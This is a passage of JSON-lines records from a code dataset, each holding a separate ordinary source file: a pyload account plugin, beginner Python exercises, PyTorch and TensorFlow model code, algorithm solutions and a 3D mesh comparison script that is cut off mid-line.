json_data = self.load(self.API_URL, get=get, post=post)\n\n        return json.loads(json_data)\n\n    def grab_hosters(self, user, password, data):\n        hosters = []\n        try:\n            res = self.api_request(\"getHostersList\")\n\n        except BadHeader as exc:\n            if exc.code == 405:\n                self.log_error(self._(\"Unable to retrieve hosters list: Banned IP\"))\n\n            else:\n                self.log_error(\n                    self._(\"Unable to retrieve hosters list: error {}\"), exc.code\n                )\n\n        else:\n            if res[\"response_code\"] == \"ok\":\n                hosters = reduce(\n                    (lambda x, y: x + y),\n                    [\n                        h[\"domains\"]\n                        for h in res[\"hosters\"]\n                        if \"domains\" in h and isinstance(h[\"domains\"], list)\n                    ],\n                )\n\n            else:\n                self.log_error(\n                    self._(\"Unable to retrieve hoster list: {}\").format(\n                        res[\"response_text\"]\n                    )\n                )\n\n        return hosters\n\n    def grab_info(self, user, password, data):\n        validuntil = None\n        trafficleft = None\n        premium = False\n\n        cache_info = data.get(\"cache_info\", {})\n        if user in cache_info:\n            validuntil = float(cache_info[user][\"vip_end\"])\n            premium = validuntil > 0\n            trafficleft = -1\n\n        return {\n            \"validuntil\": validuntil,\n            \"trafficleft\": trafficleft,\n            \"premium\": premium,\n        }\n\n    def signin(self, user, password, data):\n        cache_info = self.db.retrieve(\"cache_info\", {})\n        if user in cache_info:\n            data[\"cache_info\"] = cache_info\n            self.skip_login()\n\n        try:\n            res = self.api_request(\"connectUser\", args(login=user, password=password))\n\n        except BadHeader as exc:\n            if exc.code == 401:\n                self.fail_login()\n\n            elif exc.code == 405:\n                self.fail(self._(\"Banned IP\"))\n\n            else:\n                raise\n\n        if res[\"response_code\"] != \"ok\":\n            cache_info.pop(user, None)\n            data[\"cache_info\"] = cache_info\n            self.db.store(\"cache_info\", cache_info)\n\n            if res[\"response_code\"] == \"UNKNOWN_USER\":\n                self.fail_login()\n\n            elif res[\"response_code\"] == \"UNALLOWED_IP\":\n                self.fail_login(self._(\"Banned IP\"))\n\n            else:\n                self.log_error(res[\"response_text\"])\n                self.fail_login(res[\"response_text\"])\n\n        else:\n            cache_info[user] = {\"vip_end\": res[\"vip_end\"], \"token\": res[\"token\"]}\n            data[\"cache_info\"] = cache_info\n\n            self.db.store(\"cache_info\", cache_info)\n\n    def relogin(self):\n        if self.req:\n            cache_info = self.info[\"data\"].get(\"cache_info\", {})\n\n            cache_info.pop(self.user, None)\n            self.info[\"data\"][\"cache_info\"] = cache_info\n            self.db.store(\"cache_info\", cache_info)\n\n        return MultiAccount.relogin(self)\n","repo_name":"pyload/pyload","sub_path":"src/pyload/plugins/accounts/MegaDebridEu.py","file_name":"MegaDebridEu.py","file_ext":"py","file_size_in_byte":4364,"program_lang":"python","lang":"en","doc_type":"code","stars":3038,"dataset":"github-code","pt":"18"}
{"seq_id":"8358866002","text":"\"\"\"\nPrzygotuj mały słownik języka angielskiego, pytaj użytkownika co chce zrobić i wyświetlaj mu słowo\nprzetłumaczone na język polski lub na język angielski.\n\"\"\"\n\nusers_choice = input('Podaj parę językową-Polski>Angielski (P>A), Angielski>Polski (A>P): ').lower()\nusers_choice = users_choice.replace(' ', '')\nwords = {\n    'chomik': 'hamster',\n    'papuga': 'parrot',\n    'dzięcioł': 'woodpecker',\n    'wieloryb': 'whale',\n    'gepard': 'cheetah',\n\n}\nusers_word = input('Podaj słowo: ').lower()\ndef check_pol_word():\n    for word in words:\n        if word == users_word:\n            print(f'{word.upper()} po polsku to {words[word].upper()} po angielsku.')\n        elif users_word not in words:\n            print('Nie mamy takiego słowa w bazie danych!')\n            quit()\n\ndef check_ang_word():\n    for word in words:\n        if users_word == words[word]:\n            print(f'{words[word].upper()} po angielsku to {word.upper()} po polsku.')\n        elif users_word not in words.values():\n            print('Nie mamy takiego słowa w bazie danych!')\n            quit()\n\nif users_choice == 'p>a':\n    check_pol_word()\nelif users_choice == 'a>p':\n    check_ang_word()\n\n","repo_name":"Ryuuken-dev/Python-Zadania","sub_path":"Moduł II-lekcja 12/12.1.py","file_name":"12.1.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"20648098722","text":"from pathlib import Path\n\nfrom tqdm import tqdm\nfrom PIL import Image, ImageOps\nimport numpy as np\n\nimport utils\n\n\nsrc_dir = Path('datasets/rubbing_531/raw')\nprocessed_dir = Path('datasets/rubbing_531/processed')\ndst_dir = Path('datasets/rubbing_531/pairs/test')\n\nprocessed_dir.mkdir(exist_ok=True, parents=True)\ndst_dir.mkdir(exist_ok=True, parents=True)\n\n\ndef preprocess(image: Image) -> Image:\n    def force_white_carvings(img):\n        '''Try to turn carvings into white'''\n        arr = np.array(img.getdata()).reshape(img.size[1], img.size[0])\n        split = 128\n        arr[arr > split] = 255\n        arr[arr <= split] = 0\n        if arr[5:-5, 5:-5].mean() > 128:\n            return ImageOps.invert(image)\n        return image\n    \n    def pad_and_resize(img: Image, shape: tuple=(96, 96), pad: int=0) -> Image:\n        w, h = img.size\n        longest = max(w, h)\n        paste_pos = ((longest - w) // 2, (longest - h) // 2)\n        new_img = Image.new('L', (longest, longest), color=pad)\n        new_img.paste(img, paste_pos)\n        new_img = new_img.resize(shape)\n        return new_img\n    # image = force_white_carvings(image)\n    image = pad_and_resize(image)\n    return image\n\n\n\nprint('Generating pairs...')\nfor file in tqdm(sorted(src_dir.glob('*'))):\n    image = utils.open_img(file)\n    image = preprocess(image)\n    image.save(processed_dir / file.name)\n    \n    # Concatenate into pairs\n    image = utils.concat_images([image, image])\n    dst_file = dst_dir / file.name\n    image.save(dst_file)\n","repo_name":"donny-chan/oracle-transcriber","sub_path":"transcription/gen_test_pairs.py","file_name":"gen_test_pairs.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"4905449473","text":"import difflib\n\ndef matchFilter(input_string, product_string):\n    weight = 0\n\n\n    product_string = product_string.replace(',','')\n    \n    \n    split_input = input_string.split()\n    split_product = product_string.split()\n    \n\n    for i in range(len(split_input)):\n        for j in range(len(split_product)):\n\n            if split_input[i] in split_product[j]:\n                print(f'{split_input[i]} yes')\n                weight += 1\n\n    print(weight)\n    print(len(split_input))\n    result = weight/len(split_input)\n    return result\n\n        ","repo_name":"munhyok/Zikbee-BackCrawler","sub_path":"diff.py","file_name":"diff.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"30337486784","text":"#Carter Johnson\n#MNIST Tutorial - Part 2 - Improving accuracy\n#familiarizing with the Tensorflow package with the MNNIST dataset\n#building a Multilayer Convolutional Network\n\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport tensorflow as tf\n\n#function for initializing weights between neurons\ndef weight_variable(shape):\n  initial = tf.truncated_normal(shape, stddev=0.1)\n  return tf.Variable(initial)\n\n#function for initializing biases on neural layer\ndef bias_variable(shape):\n  initial = tf.constant(0.1, shape=shape)\n  return tf.Variable(initial)\n\n#convolution with stride of one and zero padded, so output is same size as input\ndef conv2d(x, W):\n  return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\n#pooling is plain old max pooling over 2x2 blocks\ndef max_pool_2x2(x):\n  return tf.nn.max_pool(x, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='SAME')\n\nmnist = input_data.read_data_sets(\"MNIST_data/\", one_hot=True)\n#data set split into mnist.train (55,000 data points),\n#mnist.test (10,000 data points), mnist.validation (5,000 points)\n#each point has an image of a digit (28x28 pixels = 784 flattened vector)\n#\t\tmnist.train.images - tensor - shape [55000, 784]     \n# and a corresponding label - mnist.train.labels -  [55000, 10]\n\nsess = tf.InteractiveSession()\n#more flexible class for TensorFlow - lets you build computation graph as you run\n#good for IPython notebooks\n\nx = tf.placeholder(tf.float32, shape=[None, 784])\ny_ = tf.placeholder(tf.float32, shape=[None, 10])\n#start to build computation graph by creating nodes for the imput images and target output\n\nW = tf.Variable(tf.zeros([784,10]))\nb = tf.Variable(tf.zeros([10]))\n#build Variables into TensorFlow's computation graph\n#these will be used AND modified by the computation\n\nsess.run(tf.global_variables_initializer())\n#must initialize all variables before they can be used in a session\n#this step takes specified inital values and assigns them to each Variable in the graph\n\n#implement regression model\ny = tf.matmul(x,W) + b\n\n#specify cost function using cross-entropy between target and softmax activation function applied to the regression\ncross_entropy = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(y, y_))\n#numerically stable version of tutorial calculation\n\n#Train the model using Steepest Gradient Descent\ntrain_step = tf.train.GradientDescentOptimizer(0.5).minimize(cross_entropy)\n#adds new operations to the computation graph\n#including gradient computations, parameter update steps (computation and application)\n#when this step is run, it will apply grad descent to the model and update the parameters\n\nfor i in range(1000):\n  batch = mnist.train.next_batch(100)\n  train_step.run(feed_dict={x: batch[0], y_: batch[1]})\n\n#Evaluate the model\n\n#list of booleans- whether highest prob matches true label\ncorrect_prediction = tf.equal(tf.argmax(y,1), tf.argmax(y_,1))\n#percent correct\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n#evaluate accuracy on test data\nprint(accuracy.eval(feed_dict={x: mnist.test.images, y_: mnist.test.labels}))\n  ","repo_name":"caljohnson/TensorFlow_work","sub_path":"MNIST_tutorial/mnist_improved.py","file_name":"mnist_improved.py","file_ext":"py","file_size_in_byte":3086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14760425781","text":"count_1 = 0\ncount_2 = 0\n\nfirst_word = input('Первое сообщение: ')\n\ncount_1 += list(first_word).count('!')\ncount_1 += list(first_word).count('?')\n\nsecond_word = input('Второе сообщение: ')\n\ncount_2 += list(second_word).count('!')\ncount_2 += list(second_word).count('?')\n\n\nif count_1 > count_2:\n    print('Третье сообщение:', first_word, second_word)\nelif count_1 < count_2:\n    print('Третье сообщение:', second_word, first_word)\nelse:\n    print('Ой')\n","repo_name":"Elfateru/self_test_python_basic","sub_path":"16/16.3/2. Вредоносное ПО/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"6208681671","text":"# https://atcoder.jp/contests/abc146/tasks/abc146_c\n# C - Buy an Integer\n# 値段に単調性 (大きい整数ほど値段も高い) ので、二分探索を利用する\n\ndef check(N):\n    dN = len(str(N))\n    return A * N + B * dN\n\n\nA, B, X = map(int, input().split())\n\nok = 0\nng = 10**9 + 1\n\nwhile ok + 1 != ng:\n    md = (ok + ng) // 2\n    if check(md) <= X:\n        ok = md\n    else:\n        ng = md\n\nprint(ok)\n","repo_name":"kotadd/competitive_programming","sub_path":"binary-search/abc146_c.py","file_name":"abc146_c.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"72415828200","text":"# @Author: amishkin\n# @Date:   18-08-17\n# @Email:  amishkin@cs.ubc.ca\n# @Last modified by:   amishkin\n# @Last modified time: 18-08-17\n\nimport math\nimport numpy as np\nfrom scipy.stats import truncnorm\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\nfrom torch.nn.parameter import Parameter\nfrom torch.nn import Module\n\nfrom torch.nn.utils import parameters_to_vector, vector_to_parameters\n\nclass MultiheadMLP(nn.Module):\n    # Pass number of classes per task\n    def __init__(self, input_size, hidden_sizes, output_size, act_func, no_classes, is_multihead):\n        super(MultiheadMLP, self).__init__()\n        self.input_size = input_size\n        if output_size:\n            self.output_size = output_size\n            self.squeeze_output = False\n        else :\n            self.output_size = 1\n            self.squeeze_output = True\n        self.act = F.tanh if act_func == \"tanh\" else F.relu\n        if len(hidden_sizes) == 0:\n            self.hidden_layers = []\n            self.output_layer = nn.Linear(self.input_size, self.output_size)\n        else:\n            self.hidden_layers = nn.ModuleList([nn.Linear(in_size, out_size) for in_size, out_size in zip([self.input_size] + hidden_sizes[:-1], hidden_sizes)])\n            self.output_layer = nn.Linear(hidden_sizes[-1], self.output_size)\n\n            for l in self.hidden_layers:\n                l.weight.data = torch.from_numpy(truncnorm.rvs(a=-2, b=2, loc=0., scale=.1, size=l.weight.data.shape).astype(np.float32))\n                l.bias.data = torch.from_numpy(truncnorm.rvs(a=-2, b=2, loc=0., scale=.1, size=l.bias.data.shape).astype(np.float32))\n            self.output_layer.weight.data = torch.from_numpy(\n                truncnorm.rvs(a=-2, b=2, loc=0., scale=.1, size=self.output_layer.weight.data.shape).astype(np.float32))\n            self.output_layer.bias.data = torch.from_numpy(\n                truncnorm.rvs(a=-2, b=2, loc=0., scale=.1, size=self.output_layer.bias.data.shape).astype(np.float32))\n\n            print(self.output_layer.weight.data)\n            print(self.output_layer.bias.data)\n\n        self.no_classes = no_classes\n        self.is_multihead = is_multihead\n        self.hidden_sizes = hidden_sizes\n\n    def forward(self, x, task_id=0, individual_grads=False):\n        '''\n            x: The input patterns/features.\n            individual_grads: Whether or not the activations tensors and linear\n                combination tensors from each layer are returned. These tensors\n                are necessary for computing the GGN using compute_ggn.goodfellow_ggn\n        '''\n\n        # return super(MultiheadMLP, self).forward(x)\n\n        x = x.view(-1, self.input_size)\n        out = x\n        # Save the model inputs, which are considered the activations of the\n        # 0'th layer.\n        if individual_grads:\n            H_list = [out]\n            Z_list = []\n\n        for layer in self.hidden_layers:\n            Z = layer(out)\n            out = self.act(Z)\n\n            # Save the activations and linear combinations from this layer.\n            if individual_grads:\n                H_list.append(out)\n                Z.retain_grad()\n                Z.requires_grad_(True)\n                Z_list.append(Z)\n\n        # print('out')\n        # print(out)\n        # print('output_layer')\n        # print(self.output_layer)\n        # print('weight')\n        # print(self.output_layer.weight)\n        # print('bias')\n        # print(self.output_layer.bias)\n        logits = self.output_layer(out)\n        # print('logits')\n        # print(logits)\n        if self.is_multihead:\n            logits = logits[:, task_id * self.no_classes : (task_id + 1) * self.no_classes]\n\n        if self.squeeze_output:\n            logits = torch.squeeze(logits)\n\n        # Save the final model outputs, which are the linear combinations\n        # from the final layer.\n        if individual_grads:\n            logits.retain_grad()\n            logits.requires_grad_(True)\n            Z_list.append(logits)\n\n        if individual_grads:\n            return (logits, H_list, Z_list)\n\n        return logits\n\n    # Add units for additional classes in the final layer.\n    # Required for continual learning with multihead network\n    def add_head(self, no_add_outputs, use_cuda=False):\n        self.output_size += no_add_outputs\n        if len(self.hidden_sizes) == 0:\n            in_size = self.input_size\n        else:\n            in_size = self.hidden_sizes[-1]\n\n        if use_cuda:\n            self.output_layer.weight = torch.nn.Parameter(torch.cat([\n                self.output_layer.weight,\n                torch.tensor(np.random.normal(\n                    0., .1, (no_add_outputs, in_size)).astype(np.float32)).cuda()],\n                dim=0))\n\n            self.output_layer.bias = torch.nn.Parameter(torch.cat([\n                self.output_layer.bias,\n                torch.tensor(np.random.normal(\n                    0., .1, (no_add_outputs)).astype(np.float32)).cuda()],\n                dim=0))\n        else:\n            self.output_layer.weight = torch.nn.Parameter(torch.cat([\n                self.output_layer.weight,\n                torch.tensor(np.random.normal(\n                    0., .1, (no_add_outputs, in_size)).astype(np.float32))],\n                dim=0))\n\n            self.output_layer.bias = torch.nn.Parameter(torch.cat([\n                self.output_layer.bias,\n                torch.tensor(np.random.normal(\n                    0., .1, (no_add_outputs)).astype(np.float32))],\n                dim=0))\n","repo_name":"aaronpmishkin/SLANG","sub_path":"code/python/libs/vi_lib/lib/models/multihead_mlp.py","file_name":"multihead_mlp.py","file_ext":"py","file_size_in_byte":5550,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"18"}
{"seq_id":"33477989160","text":"# Merge k sorted linked lists and return it as one sorted list.\n\n# Example :\n\n# 1 -> 10 -> 20\n# 4 -> 11 -> 13\n# 3 -> 8 -> 9\n# will result in\n\n# 1 -> 3 -> 4 -> 8 -> 9 -> 10 -> 11 -> 13 -> 20\nclass ListNode:\n    def __init__(self, x):\n        self.val = x\n        self.next = None\ndef buildHeap(arr,n):\n    for i in range(n//2,-1,-1):\n        heapifyDown(arr,i,n)\n    \ndef heapifyDown(arr,i,n):\n    left = 2*i+1\n    right = 2*i+2\n    smallest = i\n    if (left<n and arr[left][0]<arr[smallest][0]):\n        smallest = left\n    if right<n and arr[right][0]<arr[smallest][0]:\n        smallest = right\n    if smallest!=i:\n        arr[i],arr[smallest] = arr[smallest],arr[i]\n        heapifyDown(arr,smallest,n)\n\ndef mergeKLists(self, A):\n    k = len(A)\n    root = None\n    result_list = []\n    current = None\n    arr = []\n    for i in range(k):\n        arr.append([A[i].val,i])\n    buildHeap(arr,len(arr))\n    import sys\n    inf = sys.maxsize\n    z = 0\n    while z!=k:\n        val = arr[0][0]\n        index = arr[0][1]\n        if current==None:\n            root = ListNode(val)\n            result_list.append(val)\n            current=root\n        else:\n            current.next = ListNode(val)\n            result_list.append(val)\n            current = current.next\n        temp = A[index]\n        if temp.next==None:\n            arr[0][0] = inf\n            heapifyDown(arr,0,k)\n            z+=1\n        else:\n            temp = temp.next\n            arr[0][0] = temp.val\n            A[index] = temp\n            heapifyDown(arr,0,k)\n        print(arr)\n    print(result_list)\n    printLinkList(root)\n\ndef printLinkList(root):\n    temp = root\n    while temp:\n        print(temp.val,\"->\",end=\" \")\n        temp = temp.next\n# A = ListNode(1)\n# A.next = ListNode(2)\n# A.next.next = ListNode(3)\n# A.next.next.next = ListNode(4)\n# A.next.next.next.next = ListNode(5)\n\n# C = ListNode(10)\n# C.next = ListNode(45)\n# C.next.next = ListNode(54)\n# C.next.next.next = ListNode(59)\n# C.next.next.next.next = ListNode(62)\n# B = [C,A,ListNode(9),ListNode(11)]\n# mergeKLists(\"\",B)\n\n# arr= [10,9,8,5,1,2,3,6]\n# print(arr)\n# buildHeap(arr,len(arr))\n# print(arr)\n# 10 9 8 20 38 44 55 65 66 79 87 2 68 72 5 5 55 61 73 89 2 30 73 4 28 73 84 96 3 54 82 83 5 15 33 38 94 100 1 4 5 22 32 42 64 86 2 11 78\n\ndef getList():\n    k = int(input())\n    res = []\n    while k>0:\n        arr = [int(x) for x in input().split()]\n        root = ListNode(arr[1])\n        current = root\n        for i in arr[2:]:\n            current.next = ListNode(i)\n            current = current.next\n        res.append(root)\n        k-=1\n    return res\nmergeKLists(\"\",getList())\n","repo_name":"Divine11/InterviewBit","sub_path":"Heaps And Maps/Merge_K_Sorted_List.py","file_name":"Merge_K_Sorted_List.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"35408139570","text":"# import sys,pytest\n# sys.path.append(\".\")\nimport pytest\nimport torch\nimport torch.nn as nn\nimport random\n# from model.decoder import *\n# from model.backbone import *\n# from model.hybrid_encoder import *\nfrom model import (\n    RTDETRTransformer,\n    MLP, \n    Backbone, \n    MSDeformableAttention, \n    HybridEncoder,\n    TransformerDecoderLayer)\n\nimport dynamic_yaml \n\nclass Testdecoder:\n    with open(\"model_config.yaml\") as file:\n        cfg = dynamic_yaml.load(file)\n    device = cfg['device']\n\n    def test_MLP(self):\n        model = MLP(\n            input_dim = 256,\n            hidden_dim = 512,\n            output_dim = 1024,\n            num_layers= 2,\n            act='gelu'\n        ).to(self.device)\n        x = torch.ones([16,256]).to(self.device)\n        assert model(x).shape == torch.Size([16,1024])\n\n    @pytest. mark. skip(reason=\"passnow because i dont have any choice\")\n    def test_MSDeformableAttention(self):\n        \"\"\"\n        Args:\n            query (Tensor): [bs, query_length, C]\n            reference_points (Tensor): [bs, query_length, n_levels, 2], range in [0, 1], top-left (0,0),\n                bottom-right (1, 1), including padding area\n\n            value (Tensor): [bs, value_length, C]\n            value_spatial_shapes (List): [n_levels, 2], [(H_0, W_0), (H_1, W_1), ..., (H_{L-1}, W_{L-1})]\n            value_level_start_index (List): [n_levels], [0, H_0*W_0, H_0*W_0+H_1*W_1, ...]\n            value_mask (Tensor): [bs, value_length], True for non-padding elements, False for padding elements\n\n        Returns:\n            output (Tensor): [bs, Length_{query}, C]\n        \"\"\"\n        batch_szie = 4\n        query_length = 256\n        value_length = 1024\n        classify = 80\n        n_levels = 4\n\n\n        querysize = torch.ones([batch_szie,query_length,classify]).to(self.device)\n        reference_point = torch.ones([batch_szie,query_length,n_levels,2]).to(self.device)\n\n        value = torch.ones([batch_szie,value_length,classify]).to(self.device)\n\n        value_spatial_shapes = [(random.random(),random.random()) for _ in range(n_levels) ]\n        value_mask = None\n\n        model = MSDeformableAttention(\n            embed_dim = 256 ,\n            num_heads = 8 ,\n            num_levels = n_levels ,\n            num_points = 4\n        ).to(self.device)\n\n        output = model(\n            query = querysize,\n            reference_points =reference_point,\n            value =value,\n            value_spatial_shapes = value_spatial_shapes,\n            value_mask =value_mask\n        ).to(self.device)\n\n        print()\n        print(output.shape)\n        assert 1 ==2\n                # value,\n                # value_spatial_shapes,\n                # value_mask=None):\n    @pytest. mark. skip(reason=\"passnow because i dont have any choice too\")\n    def test_TransformerDecoderLayer(self):\n        D_MODELs = 512\n        nhead = 8\n        model = TransformerDecoderLayer(\n            d_model=D_MODELs,\n            n_head=nhead,\n            dim_feedforward = 1024,\n            activation= \"silu\"\n        ).to(self.device)\n        x = torch.ones([9,3,D_MODELs]).to(self.device)\n        output = model(x)\n        print()\n\n        print(output.shape)\n        assert 1 == 22\n\n\n    # @pytest. mark. skip(reason=\"passnow because i dont have any choice\")\n    def test_RTDETRTransformer(self):\n\n        x = torch.ones(1,3,800,800).to(self.device)\n\n        bmodel = Backbone(\n            backbone='resnet50',\n            norm_layer=None\n        ).to(self.device)\n\n\n        hybird = HybridEncoder(\n\n            in_channels=[512, 1024, 2048],\n            feat_strides=[8, 16, 32],\n            hidden_dim=256,\n            nhead=8,\n            dim_feedforward = 256,\n            dropout=0.0,\n            enc_act='gelu',\n            use_encoder_idx=[2],\n            num_encoder_layers=1,\n            pe_temperature=10000,\n            expansion=1.0,\n            depth_mult=1.0,\n            act='silu',\n            eval_spatial_size = None\n        ).to(self.device)\n\n        model = RTDETRTransformer(                \n                num_classes=80,\n                hidden_dim=256,\n                num_queries=300,\n                position_embed_type='sine',\n                feat_channels=[256,256,256],\n                feat_strides=[8, 16, 32],\n                num_levels=3,\n                num_decoder_points=4,\n                nhead=8,\n                num_decoder_layers=6,\n                dim_feedforward=1024,\n                dropout=0.,\n                activation=\"relu\",\n                num_denoising=0,\n                label_noise_ratio=0.5,\n                box_noise_scale=1.0,\n                learnt_init_query=False,\n                eval_spatial_size=None,\n                eval_idx=-1,\n                eps=1e-2, \n                aux_loss=True).to(self.device)\n\n        out = bmodel(x)\n\n        with open(\"data/coco.yaml\",\"r\") as file:\n            cfg = dynamic_yaml.load(file)\n\n        out = hybird(out)\n        out = model(feats= out,\n                    targets= list(dict(cfg.names).keys()))\n\n        \n        print(\"#\"*80)\n        print(\"condee output\")\n        print(out.keys())\n        print('pred_logits',out['pred_logits'].shape)\n        print(out['pred_logits'])\n        assert out['pred_logits'].shape == torch.Size([1, 300, 80])\n        print('pred_boxes',out['pred_boxes'].shape)\n        print(out['pred_boxes'])\n        assert out['pred_boxes'].shape == torch.Size([1, 300, 4])\n\n\n\n        print('#######aux_outputs######')\n        assert len(out['aux_outputs']) ==6\n\n        for item in out['aux_outputs']:\n            print(item.keys(),item['pred_logits'].shape,item['pred_boxes'].shape)\n        for item in out['aux_outputs']:\n            print(item.keys(),item['pred_logits'].shape,item['pred_boxes'].shape)\n            assert item['pred_logits'].shape == torch.Size([1, 300, 80])\n            assert item['pred_boxes'].shape == torch.Size([1, 300, 4])\n\n        # assert 11==22\n","repo_name":"leoliu5550/RT-DETRv2","sub_path":"TEST/test_decoder.py","file_name":"test_decoder.py","file_ext":"py","file_size_in_byte":5930,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"}
{"seq_id":"6304459124","text":"import numpy as np\nfrom pycpd import RigidRegistration\nfrom functools import partial\nfrom scipy.spatial import distance\nimport argparse\nimport open3d as o3d\nfrom vtkplotter import *\nfrom vtkplotter.plotter import *\nfrom point_cloud_funcs import *\nfrom visualizer import *\n\n\n\ndef loadObject(file_path, thresholds=None):\n    \n    #Load object from file_path\n    load_object = load(file_path)\n\n    object_mesh = mesh.Mesh()\n    \n    #If object is loaded from a volume image or dicom series, isosurface the volume\n    if isinstance(load_object, volume.Volume):\n        \n        load_object = load_object.gaussianSmooth(sigma=(.6, .6, .6)).medianSmooth(neighbours=(1,1,1))\n        \n        #Extract surface from given threshold values OR use automatic thresholding if no threshold is specified\n        if thresholds is not None:\n            object_mesh = load_object.isosurface(threshold= thresholds).extractLargestRegion().extractLargestRegion()\n        else:\n            object_mesh = load_object.isosurface().extractLargestRegion().extractLargestRegion()\n        \n        object_mesh\n        \n        if len(object_mesh.points()) > 1000000:\n            object_mesh = object_mesh.decimate(N=100000, method='pro', boundaries=False)\n\n    else:\n        object_mesh = load_object.triangulate()\n    return object_mesh\n\n\n\n\ndef compareMesh(src_mesh, tgt_mesh, tolerance):\n    \n    src_points = src_mesh.points(copy=True)\n    tgt_points = tgt_mesh.points(copy=True)\n    \n    #Sample points over surface of both meshes\n    src_samples = generateSamples(src_mesh, 2000)\n    tgt_samples = generateSamples(tgt_mesh, 2000)\n\n    hull_pt1, hull_pt2 = furthest_pts(src_samples)\n    cnt_pnt = (hull_pt1+hull_pt2)/2\n    src_points = src_points - cnt_pnt\n    src_samples = src_samples - cnt_pnt\n    pt_a, pt_b = furthest_pts(tgt_samples)\n    orig_dist = pt_dist(pt_a, pt_b)\n    new_dist = pt_dist(hull_pt1, hull_pt2)\n    const_mult = orig_dist/new_dist\n    src_points = src_points*const_mult\n    src_samples = src_samples*const_mult\n    \n    \n    vp = Plotter(interactive=0, axes=7, size='fullscreen', bg='bb')\n    vp.legendBC = (0.22, 0.22, 0.22)\n    vp.legendPos = 1\n    txt = Text2D(\"Loading Models...\", pos = 8, c='gray', s=1.31)\n    vp += txt\n    tgt_pts = Points(tgt_samples, r=6, c='deepskyblue', alpha= 1).legend(\"Target\")\n    vp += tgt_pts\n    vp.show()\n    txt.SetText(7, \"Initiating Alignment\")\n    src_pts = Points(src_samples, r=6, c='yellow', alpha = 1).legend(\"Source\")\n    vp += src_pts\n    vp.show()\n\n    #Roughly align both meshes (global registration)\n    spacing = np.mean(distance.pdist(src_samples))\n    src_samples, src_points = perform_global_registration(src_samples,tgt_samples,src_points, spacing)\n\n    \n    txt.SetText(7, \"Refining Alignment\")\n    vp.show()\n\n    #Refine mesh alignment (local registration)\n    cpd_ittr = 60\n    callback = partial(visualize, vp=vp, pts = src_pts, text = txt, max_ittr = cpd_ittr)\n    reg = RigidRegistration(max_iterations = cpd_ittr, **{ 'X': tgt_samples, 'Y': src_samples })\n    src_samples, [s,R,t] = reg.register(callback)\n    src_points = s*np.dot(src_points, R) + t\n    src_pts.points(src_samples)\n\n    \n    vp.renderer.RemoveAllViewProps()\n    txt.SetText(7, \"Alignment Complete\")\n    vp.show()\n\n    \n    for i in range(360):\n        if i == 60:\n            txt.SetText(7, \"\")\n        vp.camera.Azimuth(.75)\n        vp.show()\n\n\n    src_mesh.points(src_points)\n\n    tgt_samples = generateSamples(tgt_mesh, 6000)\n    txt.SetText(7,\"Performing Added Surface Analysis...\")\n    vp.show()\n\n\n    ratio = 2000/min(len(tgt_points), len(src_points))\n    spacing = 3*spacing*ratio\n    #Generate distances for heat map\n    dists = distance.cdist(src_points,tgt_samples).min(axis=1)\n    txt.SetText(7,\"Press Q to Continue\")\n    vp.show(interactive=1)\n    show_mesh(src_mesh, dists, vp, spacing/2, tolerance=tolerance)\n    txt2 = Text2D(\"Displaying Input Object 1 \\n \\nUse slider to isolate \\ndefective/added surfaces\")\n    vp += txt2\n    vp.addGlobalAxes(axtype=8, c='white')\n    vp.show(axes=8, interactive=1)\n    txt.SetText(7,\"Performing Missing Surface Analysis...\")\n    vp += txt\n    vp.show(interactive=0)\n    src_mesh.points(src_points)\n    src_samples = generateSamples(src_mesh, 6000)\n    #Generate distances for heat map\n    dists = distance.cdist(tgt_points,src_samples).min(axis=1)\n    show_mesh(tgt_mesh, dists, vp, spacing/2, tolerance=tolerance)\n    txt2.SetText(2,\"Displaying Input Object 2 \\n \\nUse slider to isolate \\ndefective/missing surfaces\")\n    vp += txt2\n    vp.addGlobalAxes(axtype=8, c='white')\n    vp.show(axes=8, interactive=1)\n\n\ndef main(argv):\n\n    src_mesh = loadObject(argv.filePath1, thresholds = argv.thresholds1)\n    tgt_mesh = loadObject(argv.filePath2, thresholds = argv.thresholds2)\n    compareMesh(src_mesh, tgt_mesh, tolerance=argv.errorTolerance)\n\n\nif __name__ == '__main__':\n    \n    parser = argparse.ArgumentParser(description='Compares two objects to each other for geometric similarity. Accepts inputs of volume images, dicom series or mesh object. Input objects do not have to be the same type.')\n    \n    parser.add_argument('-f1', '--filePath1', type=str, help = \"File path to input object: Accepts volume image (.tiff, .vti, .slc etc...), directory containing Dicom series, or mesh objects (.stl, .obj, .ply etc...)\", required = True)\n    \n    parser.add_argument('-f2', '--filePath2', type=str, help = \"File path to original object: Accepts volume image (.tiff, .vti, .slc etc...), directory containing Dicom series, or mesh objects (.stl, .obj, .ply etc...)\", required = True)\n    \n    parser.add_argument('-t1', '--thresholds1', nargs='+', type=int, help = \"Optional: Dual threshold values for feature extraction for input object. Ex: -200, 100, -500, 200\")\n    \n    parser.add_argument('-t2', '--thresholds2', nargs='+', type=int, help = \"Optional: Dual threshold values for feature extraction for original object. Ex: -200, 100, -500, 200\")\n    \n    parser.add_argument('-et', '--errorTolerance', type=float, help = \"Optional: Provide a maximum error tolerance for automatic error 